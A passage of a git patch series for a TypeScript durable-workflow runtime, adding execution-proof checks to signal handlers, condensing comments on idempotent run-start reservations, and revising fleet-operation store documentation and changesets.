{ threadId, resourceId, @@ -2051,6 +2156,7 @@ async function handleQueue( persistenceAllowed: boolean; memoryAvailable: MemoryAvailable; inspectContent: InspectSignalContent | undefined; + proof?: SignalProofGuard; }, ): Promise { if (!isContents(body.contents)) { @@ -2083,6 +2189,8 @@ async function handleQueue( ); if (policyRefusal) return policyRefusal; if (!(await options.memoryAvailable())) return memoryUnavailableResponse(); + await options.proof?.check(); + options.proof?.assertActive(); const result = agent.sendMessage(message, { threadId, resourceId, @@ -2111,6 +2219,7 @@ async function handleSignal( persistenceAllowed: boolean; memoryAvailable: MemoryAvailable; inspectContent: InspectSignalContent | undefined; + proof?: SignalProofGuard; /** The ONE fence reading this request took — see handleWake. */ executionFence: ExecutionFenceReading; }, @@ -2166,6 +2275,8 @@ async function handleSignal( if (!isPathSafeId(runId)) { throw new Error('thread signal generated a non-path-safe run id'); } + await options.proof?.check(); + options.proof?.assertActive(); const result = agent.sendSignal(signal, { threadId, runId, @@ -2188,6 +2299,7 @@ async function handleSignal( startIdleRun, serializeWake, executionFence: options.executionFence, + proof: options.proof, blockingRun: durableBlockingRun ? () => durableBlockingRun : options.blockingRun, @@ -2223,6 +2335,8 @@ async function handleSignal( const memoryAvailable = await options.memoryAvailable(); const wasActive = activeThreadRunIdOf(agent, threadId, resourceId) !== undefined; + await options.proof?.check(); + options.proof?.assertActive(); const result = agent.sendSignal(signal, { threadId, resourceId, @@ -2267,6 +2381,7 @@ async function handleState( runtimeDriven: boolean; memoryAvailable: MemoryAvailable; inspectContent: InspectSignalContent | undefined; + proof?: SignalProofGuard; }, ): Promise { if (typeof body.id !== 'string' || typeof body.cacheKey !== 'string') { @@ -2321,6 +2436,8 @@ async function handleState( ); if (policyRefusal) return policyRefusal; if (!(await options.memoryAvailable())) return memoryUnavailableResponse(); + await options.proof?.check(); + options.proof?.assertActive(); const result = await agent.sendStateSignal(state, { threadId, resourceId, @@ -2357,6 +2474,7 @@ async function handleNotification( persistenceAllowed: boolean; runtimeDriven: boolean; inspectContent: InspectSignalContent | undefined; + proof?: SignalProofGuard; }, ): Promise { if ( @@ -2454,6 +2572,8 @@ async function handleNotification( if (!storage) { return json({ error: 'notifications storage unavailable' }, 409); } + await options.proof?.check(); + options.proof?.assertActive(); const record = await storage.createNotification({ ...notification, threadId, @@ -2466,6 +2586,8 @@ async function handleNotification( delivery: { action: 'deferred', reason: 'dispatcher' }, }); } + await options.proof?.check(); + options.proof?.assertActive(); const result = await agent.sendNotificationSignal(notification, { threadId, resourceId, diff --git a/packages/flowsafe/src/wiring-census.test.ts b/packages/flowsafe/src/wiring-census.test.ts index 377f0634..2e9e8a35 100644 --- a/packages/flowsafe/src/wiring-census.test.ts +++ b/packages/flowsafe/src/wiring-census.test.ts @@ -43,7 +43,9 @@ import type { ExecutionFenceStore, ExecutionFenceWiring, InitOptions, + PersistedStartResult, RunnerRuntimeOptions, + RunSummary, StartIdempotencyStore, StartIdempotencyWiring, StorageInitOptions, @@ -234,6 +236,15 @@ export type RunRouterStartIdempotencyOk = [ > >, Assert, 'none'>>, + Assert< + Equals< + Exclude['persistedStart'], + ( + workflowId: string, + runId: string, + ) => Promise | undefined> + > + >, ]; /** From 0f328e9f01476e27eaccb2b307748b15b1d375ff Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 14:33:59 +0400 Subject: [PATCH 084/169] refactor(flowsafe): resolve pending review cleanup --- .../flowsafe/src/agent-host/thread-host.ts | 25 +--- .../src/approval-api/actor-context.test.ts | 4 +- .../flowsafe/src/approval-api/service.test.ts | 4 - .../src/do-runner/durable-object.test.ts | 20 +--- .../flowsafe/src/do-runner/durable-object.ts | 21 +--- .../src/do-runner/execution-fence.test.ts | 2 +- packages/flowsafe/src/do-runner/runtime.ts | 8 -- .../src/do-runner/start-idempotency.ts | 110 +----------------- .../do-runner/start-reservation-contract.ts | 27 +---- .../src/execution-entry-matrix.test.ts | 1 - .../flowsafe/src/host-kit/flowsafe-worker.ts | 5 +- packages/flowsafe/src/host-kit/run-router.ts | 43 ++----- 12 files changed, 26 insertions(+), 244 deletions(-) diff --git a/packages/flowsafe/src/agent-host/thread-host.ts b/packages/flowsafe/src/agent-host/thread-host.ts index 383d64e1..a2bedaed 100644 --- a/packages/flowsafe/src/agent-host/thread-host.ts +++ b/packages/flowsafe/src/agent-host/thread-host.ts @@ -578,19 +578,7 @@ export function createThreadAgentHost( const withBindingLock = createFifoLock(); const withDispatchLock = createFifoLock(); const withRecoveryLock = createFifoLock(); - /** - * Run ids this object is currently starting — the liveness half of the - * idempotent-start replay decision, and the reason a retried agent start can - * tell "the first one is still working" from "the first one died holding the - * claim" without a timer. - * - * In memory, never stored: liveness is a property of an isolate that is - * running code, so the honest answer after an eviction is `false`, and any - * durable proxy would keep saying `true` for a run nothing is executing. - * Scoped to this host instance, which `instanceScopeFor` already pins to one - * Durable Object — the same object an agent run is bound to for its whole - * life, so this object's answer is the only one there is. - */ + /** Claim durability does not establish current run liveness. */ const startsInFlight = new Set(); const unwoundExecutions = new WeakSet(); @@ -2296,16 +2284,7 @@ export function createThreadAgentHost( ? preflightUrl.pathname.slice(AGENT_HOST_ROUTE_PREFIX.length) : ''; const preflightSegments = preflightSuffix.split('/').filter(Boolean); - // The liveness probe, answered BEFORE withDispatchLock on purpose: the - // start it is asking about holds that lock for its whole first leg, so a - // probe that queued behind it would block for exactly as long as the run - // it was trying to describe — and time out reporting nothing. - // - // It reads no storage and reveals only whether this object is currently - // executing a run id the caller already had to know. Authorization is the - // deployment-identity header every request to this object carries: the - // probe travels the internal Worker-to-DO channel, and the reservation on - // the far side already proved the caller owns the key that names this run. + // The start holds the dispatch lock while its liveness probe must remain responsive. if ( request.method === 'GET' && preflightSegments.length === 4 && diff --git a/packages/flowsafe/src/approval-api/actor-context.test.ts b/packages/flowsafe/src/approval-api/actor-context.test.ts index 7c0493cb..9a347fda 100644 --- a/packages/flowsafe/src/approval-api/actor-context.test.ts +++ b/packages/flowsafe/src/approval-api/actor-context.test.ts @@ -392,7 +392,7 @@ describe('C context capture', () => { 'prototype', 'non-enumerable', 'own-enumerable', - ] as const)('C captures all declared ActorContext methods without enumeration', async (shape) => { + ] as const)('C captures all declared ActorContext methods without enumeration (%s)', async (shape) => { const source = new ReceiverContext(); const reads = new Map(); if (shape !== 'prototype') { @@ -429,7 +429,7 @@ describe('C context capture', () => { it.each([ 'prototype', 'own-enumerable', - ] as const)('C preserves the original receiver of captured ActorContext methods', async (shape) => { + ] as const)('C preserves the original receiver of captured ActorContext methods (%s)', async (shape) => { const source = new ReceiverContext(); if (shape === 'own-enumerable') { for (const method of contextMethods) diff --git a/packages/flowsafe/src/approval-api/service.test.ts b/packages/flowsafe/src/approval-api/service.test.ts index 7eb5adbe..74f94611 100644 --- a/packages/flowsafe/src/approval-api/service.test.ts +++ b/packages/flowsafe/src/approval-api/service.test.ts @@ -2559,7 +2559,6 @@ describe('ApprovalService.decide and the deployment execution fence', () => { }); it('refuses legacy run-only proof metadata without committing decisions', async () => { - // #given — a proof state bound to one run. const fence = await fenceAt('migration-locked'); await fence.transition({ expected: 'migration-locked', @@ -2578,13 +2577,10 @@ describe('ApprovalService.decide and the deployment execution fence', () => { stepPath: ['approval'], }); - // #then — an approval that gates a different run is refused... await expect( harness.service.decide(other.id, { decision: 'approve' }, REVIEWER), ).rejects.toBeInstanceOf(ExecutionFencedError); - // #and — the proof run's gate is decided, which is what makes the proof - // able to reach a suspension and come back. const result = await harness.service .decide(proof.id, { decision: 'approve' }, REVIEWER) .catch((error) => error); diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts index 0bd9e7b1..3ef4ac04 100644 --- a/packages/flowsafe/src/do-runner/durable-object.test.ts +++ b/packages/flowsafe/src/do-runner/durable-object.test.ts @@ -166,16 +166,6 @@ function makeProductionEnv( }; } -/** - * The two run-state reads a RunnerRuntime stub has to answer, over one - * implementation. Every stub in this file goes in through - * `as unknown as RunnerRuntime`, so TypeScript sees nothing when a method is - * missing: a stub carrying only `status` would send each alarm-driven test - * down the unreadable-state path — no resume, no charge, watchdog cadence — - * and pass anyway. Two spies rather than one so a test can pin WHICH read a - * path made: a wake reads `authoritativeStatus`, an HTTP route reads - * `status`. - */ async function durableOwnerRecovery( runtime: RunnerRuntime, workflowId: string, @@ -195,6 +185,7 @@ async function durableOwnerRecovery( }; } +/** Distinct spies keep public-status and authoritative-read assertions independent. */ function statusStub(read: RunnerRuntime['status']) { return { status: vi.fn(read), @@ -1956,9 +1947,6 @@ describe('DurableObjectRunner.fetch', () => { }); it('rolls back preparing bookkeeping without querying a failed Runtime reader', async () => { - // #given — the same failed start, with the read that would tell an - // interrupted start apart from a failed one refusing to answer from state - // it could not reach. const { state, values, alarms } = recoveryStorage(); const reserve = vi.fn(async () => true); const settle = vi.fn(async () => undefined); @@ -1983,7 +1971,6 @@ describe('DurableObjectRunner.fetch', () => { }); const before = Date.now(); - // #when const response = await runner .fetch( post('/runs', { @@ -1994,15 +1981,10 @@ describe('DurableObjectRunner.fetch', () => { ) .finally(() => log.mockRestore()); - // #then — the caller still sees the ORIGINAL start failure, never the - // read's: a read that concluded nothing cannot reclassify one. expect(response.status).toBe(500); await expect(response.json()).resolves.toMatchObject({ error: 'injected pre-snapshot failure', }); - // #then — and the failure is named rather than swallowed, because it is - // the reason the attempt is left unsettled with its journal armed for a - // wake that can read. expect(logged).toEqual([]); expect(settle).toHaveBeenCalledWith( expect.any(String), diff --git a/packages/flowsafe/src/do-runner/durable-object.ts b/packages/flowsafe/src/do-runner/durable-object.ts index f0f60dec..26e2e799 100644 --- a/packages/flowsafe/src/do-runner/durable-object.ts +++ b/packages/flowsafe/src/do-runner/durable-object.ts @@ -325,15 +325,7 @@ export abstract class DurableObjectRunner { #operationTail = Promise.resolve(); /** `step\0reason` of every suspension deadline this object has reported. */ #reportedSuspensionRejections = new Set(); - /** - * `workflowId:runId` of every start this object is currently executing — the - * liveness half of the idempotent-start replay decision. - * - * A SET rather than a stored key, because liveness is not durable state: the - * question is "is code running for this run right now", and the honest answer - * after an eviction is no. Anything written to storage would survive the - * isolate that wrote it and keep saying yes. - */ + /** Persisted claims outlive an isolate and cannot establish run liveness. */ readonly #startsInFlight = new Map(); constructor(state: DurableObjectRunnerState | undefined, env: TEnv) { @@ -804,13 +796,6 @@ export abstract class DurableObjectRunner { await storage.put(RUN_OWNER_RECOVERY_KEY, recovery); } - /** - * `keepWake` is set by a caller whose reconciliation failed with something - * to arm: the retry wake it left is the only thing that will re-derive that - * deadline, and re-arming from storage here would find no record and no - * journal and DELETE it. Keeping the recovery cadence instead costs one - * spurious wake and cannot lose a deadline. - */ async #assertRunOwnerRecoveryCurrent( recovery: RunOwnerRecovery, ): Promise { @@ -822,6 +807,10 @@ export abstract class DurableObjectRunner { throw new Error('run owner recovery changed'); } + /** + * Failed reconciliation can leave a retry wake without a stored deadline. + * Keeping that wake avoids losing it when alarms are rebuilt from storage. + */ async #clearRunOwnerRecovery( recovery: RunOwnerRecovery, keepWake: boolean, diff --git a/packages/flowsafe/src/do-runner/execution-fence.test.ts b/packages/flowsafe/src/do-runner/execution-fence.test.ts index 9e35cda1..895bd05f 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -2230,7 +2230,7 @@ describe('init() fence wiring', () => { expect(runtime.executionFence).toBeUndefined(); }); - it('takes a shared store for a { storage } source', async () => { + it('takes a shared store for a { DB } source', async () => { const { fence } = fenceFixture(); const { runtime } = init( { DB: databaseForFence(fence) }, diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts index 4f3771ad..38f7561a 100644 --- a/packages/flowsafe/src/do-runner/runtime.ts +++ b/packages/flowsafe/src/do-runner/runtime.ts @@ -2987,9 +2987,6 @@ export class RunnerRuntime { source: CapturedWorkflowStorage, ): Promise { const workflows = source.workflows; - if (!workflows) { - throw new Error('RunnerRuntime: workflows storage is unavailable'); - } const persisted: WorkflowRunState = { ...state, requestContext: { @@ -3108,11 +3105,6 @@ export class RunnerRuntime { if (!opts) return; await this.#withLifecycleLock(workflowId, runId, async () => { const workflows = source.workflows; - if (!workflows) { - throw new Error( - 'RunnerRuntime: workflows storage is unavailable while persisting terminal state', - ); - } const snapshot = await source.load.call(workflows, { workflowName: workflowId, runId, diff --git a/packages/flowsafe/src/do-runner/start-idempotency.ts b/packages/flowsafe/src/do-runner/start-idempotency.ts index 2cce39c0..226eb0b1 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.ts @@ -1,88 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// Owner-bound idempotent start — the reservation that makes "start this once" -// mean once, across retries, isolates, and deployments. -// -// WHY it exists: a run start is the moment a deployment commits to spending -// money. The first step of a workflow can wire funds, file an order, or call a -// paid API, and every layer between a caller and that step is allowed to lose a -// RESPONSE without losing the WORK — a Worker eviction, a client timeout, a -// load balancer retry, an operator re-running a script. Without a reservation -// the only honest answer to "did my start land?" is "retry and find out", and -// that answer charges the card twice. -// -// The reservation is what a key BUYS: a durable row, written before anything -// executes, that says which run this key already means. A retry carrying the -// same key does not start a second run — it finds the first one and is told -// what happened to it. -// -// THE TAXONOMY IS THE CONTRACT. Eight structured reason codes say what flowsafe -// KNOWS, because the caller's next action differs for each and a collapsed code -// would make them all "retry". Five are reservation-decision refusals: -// -// IDEMPOTENT_START_OWNER_MISMATCH (403) this key is somebody else's. Keys are -// owner-scoped, so one tenant principal -// cannot probe, hijack, or collide with -// another's — and never learns more than -// "not yours". -// IDEMPOTENT_START_TARGET_MISMATCH (409) the key is yours but names a -// different workflow/agent than last time. -// Reusing a key across targets is a caller -// bug, and silently honouring it would make -// one key mean two different charges. -// IDEMPOTENT_START_PENDING (503) the run this key names is RUNNING right -// now. Retryable, and legitimately unbounded: -// the first persisted summary lands at the -// first suspend or terminal state, so a long -// live run has no summary yet and is not lost. -// `pendingSince` lets a caller reason about -// how long, without this package pretending a -// timeout would be safe. -// IDEMPOTENT_START_UNRESOLVABLE (409) the claim was taken, nothing persisted, -// and nothing is running. Whether a side -// effect fired before the crash is UNKNOWABLE -// to flowsafe. So it refuses, and says so, and -// never re-executes on its own. A host that -// investigates and decides to re-run does it -// with a FRESH key — a deliberate second -// charge, not one this package invented. -// IDEMPOTENT_START_ALREADY_SETTLED (409) the run finished and its summary has -// aged out. The reservation deliberately -// OUTLIVES the snapshot so this answer exists -// at all; the alternative is a purged run -// looking exactly like a fresh key. -// -// Three complete the public keyed-start taxonomy: -// -// IDEMPOTENT_START_UNSUPPORTED (503) a keyed start reached a deployment whose -// host did not wire a reservation store. -// INVALID_START_IDEMPOTENCY_REQUEST (400) the keyed input was malformed. -// IDEMPOTENT_START_UNREADABLE (503) the reservation store could not be read -// or contained a row this build cannot parse. -// -// The seven-member `StartReservationRefusal` union recognized by -// `isStartReservationRefusal` includes everything above except UNREADABLE, -// which propagates separately as an integrity or availability failure. -// -// NO TIMER ANYWHERE. Two of those branches are separated by a LIVENESS PROBE, -// never by elapsed time. A timer would have to guess a bound on legitimate -// in-flight work, and every guess is wrong in the expensive direction: too -// short and a long live run is declared dead, inviting a fresh key and a second -// charge; too long and a genuinely crashed start wedges its key. The probe asks -// the run's own host whether it is executing, which is the question a timer was -// only ever approximating. -// -// THE CLAIM IS THE SERIALIZER. `reserve()` decides which runId a key means; -// `claimReservation()` decides who gets to START it. The claim is one conditional UPDATE, -// so exactly one caller changes a row and every other caller reads the outcome -// instead of racing it. That matters most where Durable Object serialization -// cannot help: agent runs live in thread objects keyed by threadId, so two -// same-key starts naming different threads are two different objects with no -// shared lock at all. This CAS is the only thing between them. -// -// RUN IDS ARE NEVER MINTED HERE. Run ids are server-minted, at the host's own -// existing mint sites; the reservation STORES one and hands the same id back to -// every later caller. A store that generated ids would be a second minting -// authority, and the whole rule is that there is exactly one. +// A missing result cannot establish whether a claimed start had effects. import { isExecutionPrincipalId, @@ -143,25 +60,7 @@ export { validateStartReservationAdmissionSchema, } from './start-reservation-contract.js'; -/** - * The reservation table — flowsafe-owned, so outside the `mastra_%` schema - * guard, and created lazily by the first `reserve()` rather than by the - * provisioning protocol. Unlike the execution fence (whose ABSENCE has to read - * as a state, so provisioning writes an explicit row), an absent reservation - * table simply means no key has ever been used on this deployment, which is - * indistinguishable from an empty one. - */ - export interface StartReservationRequest { - /** - * `unknown` rather than `string`, the same posture (and for the same reason) - * as `ExecutionFenceTransition.proofKey`: every caller is a route holding a - * parsed JSON body, `assertKey` already validates this against - * PATH_SAFE_ID_PATTERN and throws on anything else, and typing it `string` - * only made callers write `body.idempotencyKey as string` — an assertion that - * is false exactly when the caller sent the wrong thing, so the one input - * this field exists to police would arrive pre-blessed at the type level. - */ key: unknown; owner: StartReservationOwner; targetKind: StartTargetKind; @@ -289,18 +188,11 @@ export class StartReservationTargetMismatchError extends DoStatusError { } } -/** - * The key's run is executing right now. 503 for the same reason every - * operator-transient refusal in this package is: the condition is real, it is - * nobody's mistake, and it clears on its own — so a client that honours - * retry semantics converges instead of giving up. - */ export class IdempotentStartPendingError extends DoStatusError { readonly status = 503; readonly reason: { readonly code: 'IDEMPOTENT_START_PENDING'; readonly runId: string; - /** Epoch ms of the claim, so a caller can reason about how long. */ readonly pendingSince: number; }; diff --git a/packages/flowsafe/src/do-runner/start-reservation-contract.ts b/packages/flowsafe/src/do-runner/start-reservation-contract.ts index 1b167cf2..c69bb2f8 100644 --- a/packages/flowsafe/src/do-runner/start-reservation-contract.ts +++ b/packages/flowsafe/src/do-runner/start-reservation-contract.ts @@ -177,15 +177,6 @@ const OWNER_KIND_CHECK = EXECUTION_PRINCIPAL_KINDS.map( (kind) => `'${kind}'`, ).join(', '); -/** - * The reservation schema. - * - * The CHECK constraints are load-bearing, not decoration: every compare-and-set - * below is stated as `WHERE ... AND state = ''`, which is only a TOTAL - * decision while the column cannot hold a fourth value. A row hand-edited into - * an unknown state would otherwise be a reservation no CAS can advance and no - * purge can reap — a permanently wedged key. - */ const START_IDEMPOTENCY_BASE_COLUMNS = ` key TEXT PRIMARY KEY, owner_kind TEXT NOT NULL CHECK (owner_kind IN (${OWNER_KIND_CHECK})), @@ -346,22 +337,8 @@ function isEpochMs(value: unknown): value is number { } /** - * Project a stored row, or refuse it. - * - * A malformed row throws rather than reading as absent, and that direction is - * deliberate: "there is no reservation" is the answer that STARTS A RUN, so it - * must never be reachable from a row this build cannot parse. The CHECK - * constraints make this unreachable on a database this package created; it - * exists for the one that was hand-edited. - * - * The TIMESTAMPS are in that strict set too, rather than coerced to 0 as an - * unparseable number once was. Neither column is decoration: `updated_at` is - * the horizon the purge measures from, so a corrupt one on a terminal row reads - * as epoch 0 and makes the reservation immediately reapable — which deletes a - * spent key early and turns the next retry of it into a fresh start. It is also - * `pendingSince` on a live claim, where 0 tells an operator a run has been - * starting since 1970. Refusing the row keeps both faults visible as the 503 - * they are. + * Treating malformed rows as absent could start another run. + * Coercing corrupt timestamps can expire a spent key and admit it again. */ export function reservationFromRow( row: StartReservationRow, diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index a2d7e81f..c72617b3 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -514,7 +514,6 @@ async function nominateExistingExecution( }); } -/** Actual wrapper, private Runtime and workflow domain; only delivery is spied. */ async function matrixAgent( fence: ExecutionFenceStore, database: ExecutionFenceDatabase, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 10a8e878..50554229 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -337,7 +337,10 @@ export interface FlowsafeRunnerLifecycleConfig { export interface FlowsafeWorkerConfig extends FlowsafeRunnerLifecycleConfig { - /** Trusted host epoch, captured before request authentication and storage waits. Client headers cannot supply this authority. */ + /** + * Trusted host epoch, captured before request authentication and storage waits. + * Callbacks return a number or undefined synchronously; client headers cannot supply it. + */ mutationEpoch?: number | ((env: Env) => unknown); /** The catalog createRunRouter serves and gates (hosts pass their metas). */ workflows: ReadonlyArray; diff --git a/packages/flowsafe/src/host-kit/run-router.ts b/packages/flowsafe/src/host-kit/run-router.ts index 10a1897c..e4e615e6 100644 --- a/packages/flowsafe/src/host-kit/run-router.ts +++ b/packages/flowsafe/src/host-kit/run-router.ts @@ -1,27 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// HTTP surface for the run catalog + run lifecycle, shared by every host. -// -// Mirrors createApprovalRouter's contract — plain fetch routing, an injected -// `authenticate`, and `null` for paths outside its ownership so a host Worker -// can compose it after the approval router. (Its two paths are fixed rather -// than configurable: unlike the approval surface, a host mounts exactly one run -// surface.) What it owns that the hosts used to triplicate is the route-specific -// AUTHORIZATION order: -// -// start: authenticate -> coarse role -> workflow role -> host policy -// resume: authenticate -> catalog -> ownership -> coarse role -> workflow -// role -> host policy -// terminate: authenticate -> catalog -> ownership -> coarse role -> workflow -// role -// -// and the suspension bridge: a start that suspends queues its approval -// attributed to the STARTING actor, so that actor cannot later decide their own -// run (separation of duties). -// -// The resume route deliberately carries NO grants. A forged `resumeData.approved` -// can flip a workflow boolean, but capability comes only from the server-derived -// grant the runtime mints per leg (approval-api/grants.ts), so a side-effecting -// step re-checks and fails closed. Approve through the queue, not this route. +// Connector approval comes from stored decisions, not client resume data. import { captureActorContext } from '../approval-api/actor-context.js'; import { @@ -45,6 +23,7 @@ import { type RunSummary, RunTerminalConflictError, requireStartIdempotency, + StartIdempotencyUnsupportedError, type StartIdempotencyWiring, type StartReservation, type StartReservationReading, @@ -362,13 +341,9 @@ async function startIdempotently( rawKey: unknown, ): Promise { const wiring = options.startIdempotency; - // `requireStartIdempotency` turns the opt-out into the published refusal. A - // key on an unwired host is never ignored: honouring it silently would be an - // exactly-once promise this deployment cannot keep. - const store = requireStartIdempotency( - wiring === 'none' ? 'none' : wiring.store, - ); - const live = wiring === 'none' ? undefined : wiring.live; + if (wiring === 'none') throw new StartIdempotencyUnsupportedError(); + const store = requireStartIdempotency(wiring.store); + const live = wiring.live; const decision = await beginIdempotentStart( store, { @@ -386,13 +361,11 @@ async function startIdempotently( }, { persisted: async (reservation: StartReservation) => - wiring === 'none' - ? undefined - : wiring.persistedStart(workflowId, reservation.runId), + wiring.persistedStart(workflowId, reservation.runId), live: async (reservation: StartReservation) => - live ? live(workflowId, reservation.runId) : false, + live(workflowId, reservation.runId), }, - wiring === 'none' ? undefined : wiring.executionFence, + wiring.executionFence, mutationEpoch, ); if (decision.kind === 'replay') { From d068ad8494c88c95bb47e7d9e24b8460b5993357 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 15:14:03 +0400 Subject: [PATCH 085/169] fix(fleet-control): preserve immutable operation progress --- .changeset/bounded-fleet-audit.md | 6 +- docs/fleet-control.md | 6 +- docs/security-threat-model.md | 8 +- packages/fleet-control/CLAUDE.md | 5 +- .../src/d1-fleet-operation-store.ts | 181 ++---- .../src/fleet-operation-state.ts | 33 +- .../fixtures/fleet-state-harness-probe.ts | 252 ++++++-- .../test/fleet-audit-advance.test.ts | 321 +++++++--- .../test/fleet-migration-advance.test.ts | 249 +++++++- .../test/fleet-operation-store.test.ts | 563 ++++++++++++------ .../test/state-store.harness.test.ts | 251 ++++++-- 11 files changed, 1352 insertions(+), 523 deletions(-) diff --git a/.changeset/bounded-fleet-audit.md b/.changeset/bounded-fleet-audit.md index 192b4fdc..f2b1e8f2 100644 --- a/.changeset/bounded-fleet-audit.md +++ b/.changeset/bounded-fleet-audit.md @@ -12,6 +12,10 @@ Add a bounded, resumable fleet drift audit API with a durable, provider-neutral - Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. - Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. -Caller input at the operation store's public surface is now refused with a fixed message that names the input rather than with the durable-corruption identity. A `start` whose operation id is not a lowercase UUIDv4 refuses with `operationId must be a lowercase UUIDv4` instead of throwing `FleetOperationStateError`; `D1FleetOperationStore.readOperationRowsPage` refuses a `rowKind` outside the row-kind vocabulary or an `afterOrdinal` that is not a non-negative safe integer below `Number.MAX_SAFE_INTEGER`; and `withAccountOperationLease` and `pruneFleetOperations` refuse a kind outside the operation-kind vocabulary. At the package's public surface `FleetOperationStateError` no longer reports caller input; a persisted row that fails its codec, and malformed operation state a coordinator composes inside its lease, still raise it. Three store guarantees tighten alongside it. `failOperation` accepts at most one `updateRow`, refusing more with `failOperation accepts at most one updateRow`, which is the count its atomicity guarantee actually holds for. `finalizeOperation` and `failOperation` now refuse an operation id that belongs to the other operation kind at their terminal probe, where they previously could read that operation's record back as their own success. And a `commitProgress` refused on a row watermark now persists no row: every row statement of its batch carries a watermark precondition that nothing in the batch can change, so no row statement of a watermark-refused batch can land, and a batch whose own inserted ordinals below a claimed watermark are not the contiguous run ending at it is refused before any statement runs. Which identity a refused `commitProgress` reports is now decided in the store's own order: the operation row first, so a refusal against an operation that no longer exists reports `no fleet operation ''`; then the claimed watermarks and the persisted run record, so a watermark the persisted rows do not satisfy, or a persisted record that is a different transition — another actor's `failOperation` abandonment, a later step, a lost race — reports `fleet operation '' is no longer at the expected revision`; and only then the target rows' bytes. The staged-row divergence identity, `fleet operation '' staged rows diverge from the persisted operation`, narrows to match: it now means the persisted run record is exactly this call's intended transition while a target row carries other bytes. Out-of-band mutation of the staged rows reaches it, and so does a lease that expires mid-batch and leaves an earlier row statement behind: a later attempt that composes other bytes for that row has its insert dropped by the store's do-nothing conflict rule, its own batch lands, and if its response is lost the convergence read finds the transition persisted over the earlier row's bytes. It stays a halt rather than a retry because the persisted rows are then not the persisted transition's rows, and it remains an opportunistic cross-check of the rows one refused batch targeted rather than a corruption detector. +The operation store rejects invalid row-page selectors before schema work. Invalid public selectors use input-specific errors; malformed durable records retain `FleetOperationStateError`. + +`stageRows` rejects conflicting immutable staged payloads within its current batch. `commitProgress` refuses conflicting immutable payloads and missing item-update targets without advancing progress or retaining sibling mutations from that batch. Exact restaging remains idempotent. Replaying an uncertain commit requires the same intended run record and row payloads; composing a new transition requires reading persisted progress first. Database errors propagate to the trusted caller. Lease expiry can still leave earlier staged rows while the progress update refuses, so immutable retry payloads remain a caller obligation. + +`failOperation` accepts at most one item update. Terminal transitions refuse operation IDs belonging to another operation kind. Row-watermark refusals preserve sibling rows, and noncontiguous caller inserts below a claimed watermark refuse before SQL. See `FleetOperationLease` for the operation-store contract. The new `readFleetAuditFindingsPage()` resolves to a `done`-discriminated result: `{findings, done: true, nextAfterOrdinal?}` or `{findings, done: false, nextAfterOrdinal}`. No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 40048a79..c2432440 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -205,13 +205,13 @@ Use `readFleetMigrationItemsPage(operationStore, { operationId, afterOrdinal, li ### Recovery and cost boundaries -Each call holds the account's migration-kind lease and then one deployment lease. It releases the deployment lease before committing operation progress. Fleet and provider state remain mutation authority; the plan and cursor sequence work. A lost progress response can therefore repeat a step against its already-committed deployment state. Admission avoids a repeated migrating write, ledgered D1 work verifies or reuses applied migrations, ordinary candidate upload can adopt by inspection, and external candidate upload repeats the same artifact. A repeated pending-topology step can write only a new timestamp; terminal convergence does not skip the remaining retirement step. Settlement delivery retains its existing at-least-once contract. +Each call holds the account's migration-kind lease. Admission and step execution also hold the active deployment's lease. It releases the deployment lease before committing operation progress. Fleet and provider state remain mutation authority; the plan and cursor sequence work. A lost progress response can therefore repeat a step against its already-committed deployment state. Admission avoids a repeated migrating write, ledgered D1 work verifies or reuses applied migrations, ordinary candidate upload can adopt by inspection, and external candidate upload repeats the same artifact. A repeated 